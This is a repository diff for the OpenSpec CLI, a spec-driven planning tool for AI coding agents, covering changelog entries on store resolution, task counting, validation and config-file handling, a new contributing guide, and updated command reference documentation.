- [#1882](https://github.com/Fission-AI/OpenSpec/pull/1882) [`208b5b5`](https://github.com/Fission-AI/OpenSpec/commit/208b5b55106fbeda2ed9f099671b8ce85a01cbaa) Thanks [@dwin-gharibi](https://github.com/dwin-gharibi)! - Stop a store named `specs` or `changes` from taking over root selection. Stores are placed at `~/openspec/<id>`, so a store with one of those ids is itself `~/openspec/specs` or `~/openspec/changes`, and that made `$HOME` look like a planning root. Every command run anywhere under the home directory then resolved `$HOME` as the nearest root: the global `defaultStore` was never consulted, and `new change` wrote into `~/openspec/changes`, outside any store. A `specs/` or `changes/` directory that carries store metadata no longer counts as planning content of the directory above it, so these stores resolve like any other. A real project's `openspec/specs/` and `openspec/changes/` are unaffected.
|
||||
|
||||
- [#1880](https://github.com/Fission-AI/OpenSpec/pull/1880) [`9f8dec5`](https://github.com/Fission-AI/OpenSpec/commit/9f8dec5dd937da78bbdaeff5e5dfd041bb43cf5c) Thanks [@dwin-gharibi](https://github.com/dwin-gharibi)! - Stop `openspec store remove` deleting a store the user did not name. Remove deletes the target's folder recursively, but it checked only the target's own metadata, so any other registered store living inside that folder was deleted with it, uncommitted planning work included, while its registry entry was left pointing at a path that no longer existed. The natural way to get there is a shared store vendored into another as a git submodule, a layout `store register` accepts. Remove now refuses when another registration points inside the folder, checked under the same registry lock that commits the removal, and the error names each nested store with the `openspec store unregister` command to run first. Removing a store whose other registrations are siblings is unchanged, and `store register` still accepts nested checkouts.
|
||||
|
||||
- [#1884](https://github.com/Fission-AI/OpenSpec/pull/1884) [`5d22145`](https://github.com/Fission-AI/OpenSpec/commit/5d221456e57feb9277de40482fade427201b9bdb) Thanks [@dwin-gharibi](https://github.com/dwin-gharibi)! - Let `openspec store setup --no-init-git` create a store inside an existing Git repository. Setup refuses a path inside another repository because initializing the store there would nest one repository in another, but it ran that check even with `--no-init-git`, which creates no repository at all. Users who keep their home directory as a dotfiles repository therefore could not set up a store at the recommended `~/openspec/<id>` path with any flag. With `--no-init-git` the check is now skipped, and the store never records the enclosing repository's remote. The default setup and an explicit `--init-git` still refuse a path inside another repository.
|
||||
|
||||
- [#1862](https://github.com/Fission-AI/OpenSpec/pull/1862) [`8fc65b7`](https://github.com/Fission-AI/OpenSpec/commit/8fc65b7f70c4bd730a1dbe500cbe165d156f3c58) Thanks [@dwin-gharibi](https://github.com/dwin-gharibi)! - Count task checkboxes under every CommonMark list marker. The task counter shared by `list`, `status`, `view`, `instructions apply`, `validate --archived` and archive's incomplete-task check recognized only `-` and `*` bullets, so a task written as an ordered item (`1. [ ]`, `1) [ ]`) or under a `+` bullet was invisible to all of them: a change with unfinished ordered tasks reported "✓ Complete", and `openspec archive` archived it without its incomplete-task warning. Task lines under `+` and ordered markers (`.` or `)`, up to nine digits, as CommonMark allows) now count exactly like `-` and `*` ones, including nested sub-tasks, CRLF files and the existing tolerance of a missing space after the marker, and task-numbering checks now see them too. Ordered and `+` items without a checkbox are still ignored, and `-` and `*` tasks count as before.
|
||||
|
||||
- [#1777](https://github.com/Fission-AI/OpenSpec/pull/1777) [`3312af4`](https://github.com/Fission-AI/OpenSpec/commit/3312af4799eb162d3ddb7804d643ace5282c22cb) Thanks [@clay-good](https://github.com/clay-good)! - Start generated proposal, spec, design, and tasks files with a top-level heading, so artifacts are complete markdown documents instead of files whose first line is a section header. Editors that run markdownlint no longer flag every OpenSpec artifact with MD041. `openspec schema init` scaffolds custom templates the same way.
|
||||
|
||||
`openspec show --json` and `openspec change list --json` keep naming a change by its id when its proposal opens with the template's bare `# Proposal` title.
|
||||
|
||||
- [#1778](https://github.com/Fission-AI/OpenSpec/pull/1778) [`7de2404`](https://github.com/Fission-AI/OpenSpec/commit/7de24044ef4c635f634b78fa6bc4b5905967bfd8) Thanks [@clay-good](https://github.com/clay-good)! - Make the vendor-neutral tool target findable when your assistant is not on the list. `openspec init` now shows it as "Other / Universal (shared .agents skills)"; the picker's search box matches it on `universal`, `other`, `generic`, `custom`, `proprietary`, `unlisted`, `unsupported`, `vendor-neutral` and `agents.md`; a search that matches nothing points at it instead of ending at "No matches"; and `--tools <unknown>` names it in the error. The search box also accepts punctuation, so `.agents` and `amazon-q` filter instead of silently dropping their `.` and `-`.
|
||||
|
||||
- [#1876](https://github.com/Fission-AI/OpenSpec/pull/1876) [`605d9e7`](https://github.com/Fission-AI/OpenSpec/commit/605d9e7a2bb5c1bab90268933f9b84ff1eb8807c) Thanks [@dwin-gharibi](https://github.com/dwin-gharibi)! - Stop OpenSpec rewriting a global config file it cannot parse. After a hand edit left a typo such as a trailing comma in `config.json`, the next command of any kind, including read-only ones like `openspec list`, read the fallback defaults as telemetry consent, minted a new anonymous ID and wrote it back, replacing the whole file: a `telemetry.enabled false` opt-out, the chosen profile and the workflow list were all lost, and usage events were sent. A config file that exists but does not hold a JSON object, whether it failed to parse or its root is something else such as `null`, an array or a string, is now never written implicitly, and telemetry and the update check treat it as opted out. `config set`, `config unset` and `config profile` refuse with an error that names the file and points to `openspec config edit`, and `openspec config reset --all` still replaces it. The existing "Invalid JSON" warning is unchanged, and valid or missing config files behave exactly as before.
|
||||
|
||||
- [#1840](https://github.com/Fission-AI/OpenSpec/pull/1840) [`fede536`](https://github.com/Fission-AI/OpenSpec/commit/fede536c27e03c1aaa3c17caffa837f483d9e9b9) Thanks [@clay-good](https://github.com/clay-good)! - Resolve the contradiction that left `/opsx:update`'s only write path without a governing rule. Step 4 told the agent to "Apply the requested edit", while step 5 and the guardrails told it to write only after the user confirms each revision, so the same `/opsx:update "the design now uses X"` either wrote immediately or stopped and showed the proposed revision first, depending on which passage the agent weighed. Step 4 now drafts the edit in the conversation and step 5 owns every artifact write, matching the workflow's own specified behavior: propose each revision and apply it only after user confirmation. Fixes [#1836](https://github.com/Fission-AI/OpenSpec/issues/1836).
|
||||
|
||||
- [#1858](https://github.com/Fission-AI/OpenSpec/pull/1858) [`db560ae`](https://github.com/Fission-AI/OpenSpec/commit/db560ae33f565b76ebbc040782ec7007295e8133) Thanks [@dwin-gharibi](https://github.com/dwin-gharibi)! - Stop `validate` accepting a requirement whose only scenario is a bare header. The delta scenario counter counted every `####` header, while the spec path that archive uses to validate the rebuilt spec keeps a scenario only when its body has content, so `validate` called such a change valid and `archive` then refused it with a generic "Requirement must have at least one scenario" that did not name the requirement. Both paths now share one rule, `hasScenarioBody`, and read a scenario's body up to the same boundary, so `validate` rejects exactly what archive rejects, naming the requirement and saying that a header with no body under it does not count. A scenario whose body is only a fenced block or a deeper header still counts, a requirement with one real scenario is still accepted even when another is empty, and main-spec validation is unchanged.
|
||||
|
||||
- [#1774](https://github.com/Fission-AI/OpenSpec/pull/1774) [`09984b8`](https://github.com/Fission-AI/OpenSpec/commit/09984b824254f9e35bcdf628fdb052a689a57f37) Thanks [@clay-good](https://github.com/clay-good)! - ### Bug Fixes
|
||||
|
||||
- **Task lists without checkboxes are now caught**: a `tasks.md` written as plain bullets or a numbered list counts as zero tasks, so `openspec list` and `openspec status` reported "No tasks" and `openspec archive` had no unfinished work to warn about. `openspec validate` now warns when a change's tracked task files contain list items but no checkbox at all, and points at the first offending line.
|
||||
|
||||
- [#1852](https://github.com/Fission-AI/OpenSpec/pull/1852) [`5f5914e`](https://github.com/Fission-AI/OpenSpec/commit/5f5914e7f7a817262c7564ac92694db833564978) Thanks [@clay-good](https://github.com/clay-good)! - Match the natural "openspec <verb>" phrasing to the workflow it names. Users and agents say "openspec propose" or "do an openspec apply", but no workflow skill's description contained that phrasing (and a skill's description is what an agent matches on), so the phrase read as an invitation to hand-build the artifacts with the CLI instead of running the workflow. Every workflow skill's description now names the phrasings a user actually types ("openspec propose", "opsx apply", and so on). Run `openspec update` to pick it up. `openspec update` itself is deliberately left unclaimed: it is a real CLI command that refreshes generated files, unrelated to the update-change workflow, which claims "openspec update change" instead. Commands-only installs write no skills and are unchanged. Fixes [#1221](https://github.com/Fission-AI/OpenSpec/issues/1221).
|
||||
|
||||
## 1.13.0
|
||||
|
||||
### Minor Changes
|
||||
|
||||
- [#1783](https://github.com/Fission-AI/OpenSpec/pull/1783) [`8ba4ac1`](https://github.com/Fission-AI/OpenSpec/commit/8ba4ac1b16a33830a766f0c03d224d516b6a90ce) Thanks [@clay-good](https://github.com/clay-good)! - Apply now says when a change has no delta specs. Apply gates on the schema's `apply.requires` alone, so a change whose `tasks.md` was written ahead of its specs read as ready to implement even though it had no spec deltas at all — the state `openspec validate` rejects. `openspec instructions apply` now reports that gap as a warning (text and `--json`), naming both ways out: write the specs, or declare `skip_specs: true`. Changes that have specs, declare `skip_specs`, or are still blocked on their own required artifacts are unaffected.
|
||||
|
||||
A blocked apply also names the whole chain now, not just the first hop: a change holding only a proposal reported `Missing artifacts: tasks` while the specs that `tasks` depends on were missing too, which reads as an instruction to write the tracking file straight from the proposal. The full build order is reported as `missingPrerequisites` in `--json`. The remedies these messages give are CLI commands (`openspec instructions <artifact> --change <name>`) rather than the `openspec-continue-change` skill, which the `core` profile never installs.
|
||||
|
||||
### Patch Changes
|
||||
|
||||
- [#1798](https://github.com/Fission-AI/OpenSpec/pull/1798) [`aedf4d0`](https://github.com/Fission-AI/OpenSpec/commit/aedf4d0c64c4bdde2e21f199aee93fa0d598c33e) Thanks [@dwin-gharibi](https://github.com/dwin-gharibi)! - Stop archive rewriting the inside of fenced code blocks. The final assembly in `buildUpdatedSpec` collapsed runs of blank lines across the whole rebuilt document to tidy the seams between the slices it rejoins, but the pass was not fence-aware, so a requirement documenting a sample with two or more consecutive blank lines had that sample silently edited on archive, and edited again on every later archive. That matters wherever whitespace carries meaning: YAML block scalars, Python, expected-output fixtures, Markdown inside Markdown. Blank runs are now collapsed only outside fenced blocks, using the same `buildCodeFenceMask` every other structural pass in the module already used. Behavior outside fences is unchanged, including that only a truly empty line counts as blank, so a line of spaces is still never a collapse boundary. Fixes [#1797](https://github.com/Fission-AI/OpenSpec/issues/1797).
|
||||
|
||||
- [#1800](https://github.com/Fission-AI/OpenSpec/pull/1800) [`fadac3e`](https://github.com/Fission-AI/OpenSpec/commit/fadac3e1c927bf5180ce82c806435c61db5d5adb) Thanks [@dwin-gharibi](https://github.com/dwin-gharibi)! - Read a removal or rename written with `*` or `+` as the operation it is. CommonMark opens a bullet list with `-`, `*` or `+`, but the bullet form of `## REMOVED Requirements` and the `FROM:`/`TO:` lines of `## RENAMED Requirements` both hardcoded `-`, so either other marker matched nothing at all. The operation then silently never happened: `openspec validate` reported the change valid, `openspec archive` exited 0 with "Specs updated successfully", and the requirement that was supposed to be deleted or renamed stayed exactly as it was. The change archived as complete, leaving the spec quietly disagreeing with the delta that was meant to update it. Both forms now accept `[-*+]`, the `FROM:`/`TO:` bullet stays optional, and the plain `### Requirement:` header form is unchanged. Fixes [#1799](https://github.com/Fission-AI/OpenSpec/issues/1799).
|
||||
|
||||
- [#1802](https://github.com/Fission-AI/OpenSpec/pull/1802) [`8251763`](https://github.com/Fission-AI/OpenSpec/commit/8251763ecdc349a0a1484f09da85f7e5c33f4836) Thanks [@dwin-gharibi](https://github.com/dwin-gharibi)! - Apply every delta section, not just one copy of each. A delta file that wrote the same header twice, two `## ADDED Requirements` sections say, silently kept one of them: sections were collected into a record keyed by title, so a repeated title overwrote the earlier body, and the case-insensitive lookup returned only the first entry that folded to the target, so `## ADDED Requirements` beside `## Added Requirements` left the second unread. Every requirement under the discarded copy was gone before validation or the merge could see it, so `openspec validate` reported zero issues and `openspec archive` exited 0 having applied less than the author wrote, then moved the change to the archive with the live spec quietly diverging from what was reviewed. Sections are now kept as a list and every body whose title matches is read, each keeping its own line numbers so diagnostics still point at the right copy. Rename pairs are read per section, so a `FROM:` in one copy of the header can never pair with a `TO:` in another. An author does not have to repeat a header on purpose to hit this: a delta documenting OpenSpec's own syntax inside a fenced example produces the duplicate on its own. Fixes [#1801](https://github.com/Fission-AI/OpenSpec/issues/1801).
|
||||
|
||||
- [#1657](https://github.com/Fission-AI/OpenSpec/pull/1657) [`6d2dbe6`](https://github.com/Fission-AI/OpenSpec/commit/6d2dbe62d3386ac0df576136759775678102acf2) Thanks [@clay-good](https://github.com/clay-good)! - Load project context before proposal planning, using the selected project or store root and honoring config precedence and validation limits. When no root exists, stop without writing files and offer initialization instead of creating an implicit root.
|
||||
|
||||
- [#1700](https://github.com/Fission-AI/OpenSpec/pull/1700) [`3915db7`](https://github.com/Fission-AI/OpenSpec/commit/3915db763ad5394b29cdd895c87a91c837313ae8) Thanks [@clay-good](https://github.com/clay-good)! - Teach the generated guidance how to find and read a project's specs. `openspec list --specs` appeared in no generated skill, command, or artifact instruction, while `openspec list --json` (the in-flight *change* list) appeared throughout, so an agent asked to read the existing specs first enumerated changes instead and reported the step complete against the wrong object. The explore skill and command now list the spec inventory alongside the change list and say which is which, and the spec-driven `proposal` and `specs` instructions name the command where they ask for existing capabilities to be researched and for a delta's path to match an existing one. Both steps carry `--store "<id>"`, and capabilities are read with `openspec show "<spec-id>" --type spec --json --no-scenarios` so the read resolves against the same root the listing came from. Fixes [#1689](https://github.com/Fission-AI/OpenSpec/issues/1689).
|
||||
|
||||
The filtered read is only an overview. Agents read relevant specs in full, including scenarios, before deciding what is already covered or what should change.
|
||||
|
||||
- [#1779](https://github.com/Fission-AI/OpenSpec/pull/1779) [`3c6d318`](https://github.com/Fission-AI/OpenSpec/commit/3c6d318b837f443d1aabf969ce368e78ae12e891) Thanks [@clay-good](https://github.com/clay-good)! - `openspec init` and `openspec update` now name the workflows your profile left out and how to add them, so a command that was never installed no longer reads as a broken setup.
|
||||
|
||||
- [#1808](https://github.com/Fission-AI/OpenSpec/pull/1808) [`d9e1a28`](https://github.com/Fission-AI/OpenSpec/commit/d9e1a28c38927e6d649781976cd1a753e28973af) Thanks [@dwin-gharibi](https://github.com/dwin-gharibi)! - Stop `openspec update` reporting a tool up to date while a damaged command file sits on disk. The check read the `generatedBy` version marker in a tool's skill files alone, which proves only that the skill files came from this CLI and says nothing about the command files written beside them, so a hand-edited or truncated command file left update printing "All 1 tool(s) up to date" and repairing nothing; the file could be restored only by knowing to pass `--force`. A deleted command file was already detected, so the claim was false only for a damaged one. Update now also compares command-file content, using the comparison that already existed and was simply never consulted once a skill file supplied a version. Scoped to tools configured for both skills and commands, so the commands-only path is unchanged, and skipped when the delivery mode generates no commands for the tool. Fixes [#1807](https://github.com/Fission-AI/OpenSpec/issues/1807).
|
||||
|
||||
- [#1782](https://github.com/Fission-AI/OpenSpec/pull/1782) [`c170dc7`](https://github.com/Fission-AI/OpenSpec/commit/c170dc77adbe868ce731e07df2806a7ca8fcb4ec) Thanks [@clay-good](https://github.com/clay-good)! - Fix `retire_capabilities` refusing any spec whose scenario bullets wrap onto a second line. The continuation line was counted as content the merge could not account for, which blocked the retirement and suppressed the hint that names the marker ([#1780](https://github.com/Fission-AI/OpenSpec/issues/1780)). A spec bulleted with `+` is covered too: naming only `-` and `*` as list markers reported every one of its scenario bullets as unaccounted content, so that capability could not be retired at all either.
|
||||
|
||||
## 1.12.0
|
||||
|
||||
### Minor Changes
|
||||
|
||||
- [#1171](https://github.com/Fission-AI/OpenSpec/pull/1171) [`44a39eb`](https://github.com/Fission-AI/OpenSpec/commit/44a39eb24b7ca0f2cf08df697888c3b1e9818a5a) Thanks [@aleksandr4842](https://github.com/aleksandr4842)! - Add SourceCraft Code Assistant as a supported tool for project skills and commands in its VS Code extension.
|
||||
|
||||
- [#1713](https://github.com/Fission-AI/OpenSpec/pull/1713) [`db03c6c`](https://github.com/Fission-AI/OpenSpec/commit/db03c6c4b0ef8a05308497482bdc5fc4dd151569) Thanks [@Marzx13](https://github.com/Marzx13)! - ### New Features
|
||||
|
||||
- Add `openspec validate --report findings` for explicit bulk scopes. It returns only items with errors, warnings, or information while keeping full-run totals and exit codes. JSON output identifies the report and its scope; human output includes each finding's path and message. The default full report is unchanged.
|
||||
|
||||
### Patch Changes
|
||||
|
||||
- [#1710](https://github.com/Fission-AI/OpenSpec/pull/1710) [`a4fcdbe`](https://github.com/Fission-AI/OpenSpec/commit/a4fcdbece6f4f7ce86fbd57230be2753945020ba) Thanks [@ryandemelo](https://github.com/ryandemelo)! - Report delta merge conflicts during validation as informational findings, including in successful text reports, without changing validation exit codes. Preserve filesystem read errors so unreadable main specs are not mistaken for missing specs.
|
||||
|
||||
Keep the validation report intact when the advisory merge preflight cannot resolve its inputs.
|
||||
|
||||
- [#1017](https://github.com/Fission-AI/OpenSpec/pull/1017) [`b976106`](https://github.com/Fission-AI/OpenSpec/commit/b976106d954a0eebbf94ec26b056208968313a4d) Thanks [@DanRioDev](https://github.com/DanRioDev)! - Improve explore mode guidance so it asks more useful dependency-aware questions, recommends defaults, and checks the codebase before asking for facts the repo can answer.
|
||||
|
||||
- [#1737](https://github.com/Fission-AI/OpenSpec/pull/1737) [`98bf53e`](https://github.com/Fission-AI/OpenSpec/commit/98bf53e59ec91eb71de4ed0e8036459de7352585) Thanks [@clay-good](https://github.com/clay-good)! - Guide propose and fast-forward workflows to inspect relevant project code, tests, and documentation before drafting artifacts, so plans reflect the existing implementation instead of deferring basic discovery to implementation tasks.
|
||||
|
||||
- [#786](https://github.com/Fission-AI/OpenSpec/pull/786) [`0296401`](https://github.com/Fission-AI/OpenSpec/commit/0296401b823726ae6a8d8505104e95c7899b3056) Thanks [@Br1an67](https://github.com/Br1an67)! - Preserve empty OpenSpec directories in Git after initialization. Re-running init restores missing directory markers without overwriting existing files or following marker symlinks.
|
||||
|
||||
- [#1725](https://github.com/Fission-AI/OpenSpec/pull/1725) [`cd72444`](https://github.com/Fission-AI/OpenSpec/commit/cd724449aced1655eb513f3207600bec074c7588) Thanks [@aron-intframe](https://github.com/aron-intframe)! - `openspec init` and `openspec update` now share the IDE restart hint: "Restart your IDE to refresh commands." or "Restart your IDE to refresh skills." The message also covers removing workflows, without claiming that new files were generated.
|
||||
|
||||
## 1.11.0
|
||||
|
||||
### Minor Changes
|
||||
|
||||
@@ -0,0 +1,47 @@
|
||||
# Contributing
|
||||
|
||||
Thanks for helping improve OpenSpec.
|
||||
|
||||
## 1. Open a discussion or an issue first
|
||||
|
||||
Every change starts here, including small ones.
|
||||
|
||||
- [Start a discussion](https://github.com/Fission-AI/OpenSpec/discussions) if it affects OpenSpec's core design.
|
||||
- [Open an issue](https://github.com/Fission-AI/OpenSpec/issues) for bugs and everything else.
|
||||
|
||||
This is so we can agree on the approach before you spend time building. PRs without a linked issue or a prior discussion may be closed.
|
||||
|
||||
## 2. Decide whether it needs a change proposal
|
||||
|
||||
A bug fix, a typo, or a small improvement goes straight to a PR.
|
||||
|
||||
A new feature, a significant refactor, or anything that changes OpenSpec's architecture needs an OpenSpec change proposal first, so we can align on intent and goals before implementation begins. Open it as a PR containing only `openspec/changes/<name>/` and wait for it to be approved before you write the code.
|
||||
|
||||
When writing a proposal, keep the OpenSpec philosophy in mind: we serve a wide variety of users across different coding agents, models, and use cases. Changes should work well for everyone.
|
||||
|
||||
If you are not sure which side of the line your change falls on, ask in the discussion or issue from step 1.
|
||||
|
||||
## 3. Make your change
|
||||
|
||||
You need Node 20.19+ and pnpm.
|
||||
|
||||
```bash
|
||||
pnpm install
|
||||
pnpm build # tests run against the build output
|
||||
pnpm test
|
||||
pnpm exec tsc --noEmit
|
||||
pnpm lint
|
||||
```
|
||||
|
||||
Those four commands are what CI runs, so a green local run means a green CI run.
|
||||
|
||||
Run `pnpm changeset` if your change affects users, and commit the file it generates.
|
||||
|
||||
## 4. Open the PR
|
||||
|
||||
- Branch off `main` in your fork.
|
||||
- Title it as a conventional commit: `type(scope): subject`, for example `fix(archive): keep authored Purpose`.
|
||||
- Link what you opened in step 1: `Closes #123` for an issue, or a link to the discussion when there is no issue.
|
||||
- If a coding agent wrote the code, say which agent and model, and confirm you tested it. AI-generated code is welcome when it has been verified.
|
||||
|
||||
Maintainers are listed in [MAINTAINERS.md](MAINTAINERS.md).
|
||||
@@ -141,7 +141,7 @@ openspec init
|
||||
|
||||
Now talk to your AI:
|
||||
|
||||
- **Not sure what to build yet?** Start with `/opsx:explore`, a no-stakes thinking partner that reads your code, weighs options, and shapes a plan before anything is written. ([Explore guide](docs/explore.md))
|
||||
- **Not sure what to build yet?** Start with `/opsx:explore`, a no-stakes thinking partner that reads your code, weighs options, and shapes a plan before any code gets written. ([Explore guide](docs/explore.md))
|
||||
- **Already know what you want?** Go straight to `/opsx:propose <what-you-want-to-build>`.
|
||||
|
||||
Both are in the default profile. If you want the expanded workflow (`/opsx:new`, `/opsx:continue`, `/opsx:ff`, `/opsx:verify`, `/opsx:bulk-archive`, `/opsx:onboard`), select it with `openspec config profile` and apply with `openspec update`.
|
||||
@@ -172,6 +172,7 @@ Both are in the default profile. If you want the expanded workflow (`/opsx:new`,
|
||||
→ **[Concepts](docs/concepts.md)**: how it all fits<br>
|
||||
→ **[Multi-Language](docs/multi-language.md)**: multi-language support<br>
|
||||
→ **[Customization](docs/customization.md)**: make it yours<br>
|
||||
→ **[Community Showcase](docs/community.md)**: projects and resources built with and for OpenSpec<br>
|
||||
→ **[FAQ](docs/faq.md)** · **[Troubleshooting](docs/troubleshooting.md)** · **[Glossary](docs/glossary.md)**: quick help
|
||||
|
||||
|
||||
@@ -223,21 +224,9 @@ openspec update
|
||||
|
||||
## Contributing
|
||||
|
||||
**Small fixes** — Bug fixes, typo corrections, and minor improvements can be submitted directly as PRs.
|
||||
Open a discussion (for core design changes) or an issue before you open a PR, and link the issue or discussion from the PR. New features, significant refactors, and architectural changes need an OpenSpec change proposal first.
|
||||
|
||||
**Larger changes** — For new features, significant refactors, or architectural changes, please submit an OpenSpec change proposal first so we can align on intent and goals before implementation begins.
|
||||
|
||||
When writing proposals, keep the OpenSpec philosophy in mind: we serve a wide variety of users across different coding agents, models, and use cases. Changes should work well for everyone.
|
||||
|
||||
**AI-generated code is welcome** — as long as it's been tested and verified. PRs containing AI-generated code should mention the coding agent and model used (e.g., "Generated with Claude Code using claude-opus-4-5-20251101").
|
||||
|
||||
### Development
|
||||
|
||||
- Install dependencies: `pnpm install`
|
||||
- Build: `pnpm run build`
|
||||
- Test: `pnpm test`
|
||||
- Develop CLI locally: `pnpm run dev` or `pnpm run dev:cli`
|
||||
- Conventional commits (one-line): `type(scope): subject`
|
||||
→ **[CONTRIBUTING.md](CONTRIBUTING.md)**: the full process, from first issue to merged PR
|
||||
|
||||
## Other
|
||||
|
||||
|
||||
@@ -125,7 +125,7 @@ The scaffold is bare. Artifacts come from the built-in four ids only, and the ge
|
||||
|
||||
A fork has two kinds of files to edit:
|
||||
|
||||
- **templates/** change the skeleton of each document. Add a section to the tasks template and every new tasks.md starts with it.
|
||||
- **templates/** change the skeleton of each document. Add a section to the tasks template and every new tasks.md starts with it. Keep the `#` title on the first line: the artifact inherits it, so every generated file opens as a titled document.
|
||||
- **schema.yaml** changes the workflow itself: which artifacts exist, what each one requires first, and the instruction the agent gets when creating it.
|
||||
|
||||
For example, to drop the design document for a leaner flow:
|
||||
|
||||
@@ -17,7 +17,8 @@ once the prose lands. -->
|
||||
|
||||
If it has a row in the [support matrix](../reference/supported-tools.md), yes.
|
||||
Pick its id at init. If it isn't listed but reads the shared `.agents/skills/`
|
||||
folder, pick **Shared `.agents` skills** (`--tools agents`). If neither, request
|
||||
it in the [OpenSpec repo](https://github.com/Fission-AI/OpenSpec/issues).
|
||||
folder, pick **Other / Universal** (`--tools agents`), covered by the support
|
||||
matrix's Other / Universal section. If neither, request it in the
|
||||
[OpenSpec repo](https://github.com/Fission-AI/OpenSpec/issues).
|
||||
|
||||
## Where did the old /openspec:* commands go?
|
||||
|
||||
@@ -196,7 +196,7 @@ OpenSpec writes artifacts to one of two places: your project's `openspec/` folde
|
||||
3. **The `store:` line in your project.** How a store-only project records its store.
|
||||
4. **`defaultStore` on your machine.** The fallback when none of the above applies.
|
||||
|
||||
Whichever applied, OpenSpec's first output line names the folder it acted on (`Using OpenSpec root: ...`). The exact rules, including the error cases, are in [Configuration › Stores](../reference/configuration/stores.md).
|
||||
When OpenSpec selects a store, it prints `Using OpenSpec root: ...` before the command output.
|
||||
|
||||
### The `store:` line (store-only projects)
|
||||
|
||||
|
||||
+232
-7
@@ -302,6 +302,15 @@ Pass --allow-unknown to bypass this check.
|
||||
Error: Invalid configuration - delivery: Invalid option: expected one of "both"|"skills"|"commands"
|
||||
```
|
||||
|
||||
If the config file exists but does not hold a JSON object, whether because it is not valid JSON at all or because its root is something else such as `null` or an array, `config set`, `config unset` and `config profile` exit 1 and leave the file unchanged. Fix it with `openspec config edit`, or replace it with `openspec config reset --all`:
|
||||
|
||||
```
|
||||
Error: /home/you/.config/openspec/config.json could not be parsed, so it was left unchanged.
|
||||
Fix it with "openspec config edit", or reset it with "openspec config reset --all".
|
||||
```
|
||||
|
||||
Until it is fixed, telemetry and the update check stay off.
|
||||
|
||||
### openspec config unset
|
||||
|
||||
```bash
|
||||
@@ -314,7 +323,7 @@ Removes the key so the default applies again. Keys with built-in defaults always
|
||||
Unset delivery (reverted to default)
|
||||
```
|
||||
|
||||
A key with no value at all prints `Key "featureFlags.nothere" was not set`. Both cases exit 0.
|
||||
A key with no value at all prints `Key "featureFlags.nothere" was not set`. Both cases exit 0. A config file that cannot be parsed exits 1 instead, as for `config set`.
|
||||
|
||||
### openspec config reset
|
||||
|
||||
@@ -350,7 +359,11 @@ Without `--all` it exits 1 and prints the usage line.
|
||||
openspec config edit
|
||||
```
|
||||
|
||||
Opens the config file in `$EDITOR` (falling back to `$VISUAL`), creating it with defaults first if missing. When the editor closes, the file is validated. Invalid JSON or an invalid config exits 1. With no editor configured it exits 1:
|
||||
Opens the config file in `$EDITOR` (falling back to `$VISUAL`), creating it with defaults first if missing. When the editor closes, the file is validated. Invalid JSON or an invalid config exits 1.
|
||||
|
||||
The editor value may carry arguments and quoted paths, for example `code --wait` or `"/Applications/Sublime Text.app/Contents/SharedSupport/bin/subl" -w`. It is split into words without a shell, so `$VAR`, `~` and `;` are passed through literally. An editor that cannot start, or exits non-zero, prints a one-line error and exits 1.
|
||||
|
||||
With no editor configured it exits 1:
|
||||
|
||||
```
|
||||
Error: No editor configured
|
||||
@@ -449,6 +462,13 @@ Specs:
|
||||
|
||||
An empty listing prints `No active changes found.` or `No specs found.` and still exits 0.
|
||||
|
||||
A change is a directory directly under `openspec/changes/`. Unlike specs, changes cannot be nested in a namespace folder. A folder like `changes/mobile/` that only wraps a change (`changes/mobile/refresh-token/`) is listed with the status `not a change`, followed by a warning that names the nested directories. `--json` marks that entry with a `nested` array and adds a top-level `warnings` array. `show`, `status`, `validate` and `archive` refuse the folder with the same message. To fix it, move the change up and fold the namespace into its name:
|
||||
|
||||
```bash
|
||||
mv openspec/changes/mobile/refresh-token openspec/changes/mobile-refresh-token
|
||||
rmdir openspec/changes/mobile
|
||||
```
|
||||
|
||||
**Exit codes**
|
||||
|
||||
- `0`: listing printed, even when empty.
|
||||
@@ -648,16 +668,18 @@ With no name and no bulk flag, validate prompts you to pick items. Outside an in
|
||||
| `--all` | Validate every change and spec. |
|
||||
| `--changes` | Validate every change. |
|
||||
| `--specs` | Validate every spec. |
|
||||
| `--archived` | Check task completion in archived changes, without validating their applied spec deltas. |
|
||||
| `--strict` | Treat warnings as failures. |
|
||||
| `--type <change\|spec>` | Pick the type when a change and a spec share a name. |
|
||||
| `--json` | Print a structured report instead of text. |
|
||||
| `--report <mode>` | Bulk output: `full` (default) or `findings`. Requires an explicit bulk scope. |
|
||||
| `--concurrency <n>` | Max parallel validations in bulk runs. Default: `OPENSPEC_CONCURRENCY`, else 6. |
|
||||
| `--no-interactive` | Never prompt: a missing or ambiguous name becomes an error. |
|
||||
| `--store <id>` | Use a registered store as the OpenSpec root instead of the current project. |
|
||||
|
||||
**Output**
|
||||
|
||||
One line per item. Bulk runs end with totals:
|
||||
Bulk runs print one status line per item, followed by any findings, and end with totals:
|
||||
|
||||
```
|
||||
✓ change/add-rate-limit
|
||||
@@ -665,6 +687,32 @@ One line per item. Bulk runs end with totals:
|
||||
Totals: 2 passed, 0 failed (2 items)
|
||||
```
|
||||
|
||||
**Task checkbox findings**
|
||||
|
||||
Progress counts checkboxes and nothing else, so a task file written as plain bullets reads as zero tasks: `openspec list` and `openspec status` report no work, and `openspec archive` has nothing to flag as incomplete. Validate reports a `WARNING` on each tracked task file that lists work without a checkbox:
|
||||
|
||||
```text
|
||||
⚠ [WARNING] tasks.md: This change counts as 0 tasks: no line in its tracked task files is a checkbox, so "openspec list" and "openspec status" report no work and "openspec archive" has nothing to flag as incomplete. Write each task as "- [ ] 1.1 Description".
|
||||
```
|
||||
|
||||
The warning fires only when the change's whole tracked set holds no checkbox at all. One file of prose beside a real checklist is not reported, and a change mid-authoring keeps its progress the moment a single checkbox exists. `--strict` turns the warning into a failure. The line number is in the `--json` report.
|
||||
|
||||
Fenced blocks, HTML comments, YAML front matter and indented code are not scanned, so a pasted terminal sample is never mistaken for a task list.
|
||||
|
||||
**Archive merge findings**
|
||||
|
||||
For changes, validate runs archive's merge builder against the current main specs without writing files. It reports merge conflicts, such as a missing `MODIFIED` target or a conflicting `ADDED` requirement, as `INFO`:
|
||||
|
||||
```text
|
||||
ℹ [INFO] api/spec.md: Archive would refuse this delta: api MODIFIED failed for header "### Requirement: Rate limiting" - not found
|
||||
```
|
||||
|
||||
These findings appear even when validation passes, in both text and JSON output. `INFO` never changes the exit code, including under `--strict`: a missing target may belong to a sibling change that has not archived yet. Deltas already synced into the main specs follow archive's existing merge rules.
|
||||
|
||||
This check does not run archive's later merged-spec validation or retirement checks. A clean report does not guarantee that archive will succeed.
|
||||
|
||||
If the merge preflight cannot start, an `INFO` finding explains why. Existing validation findings and the exit code stay unchanged.
|
||||
|
||||
A failing item lists each issue and the fix:
|
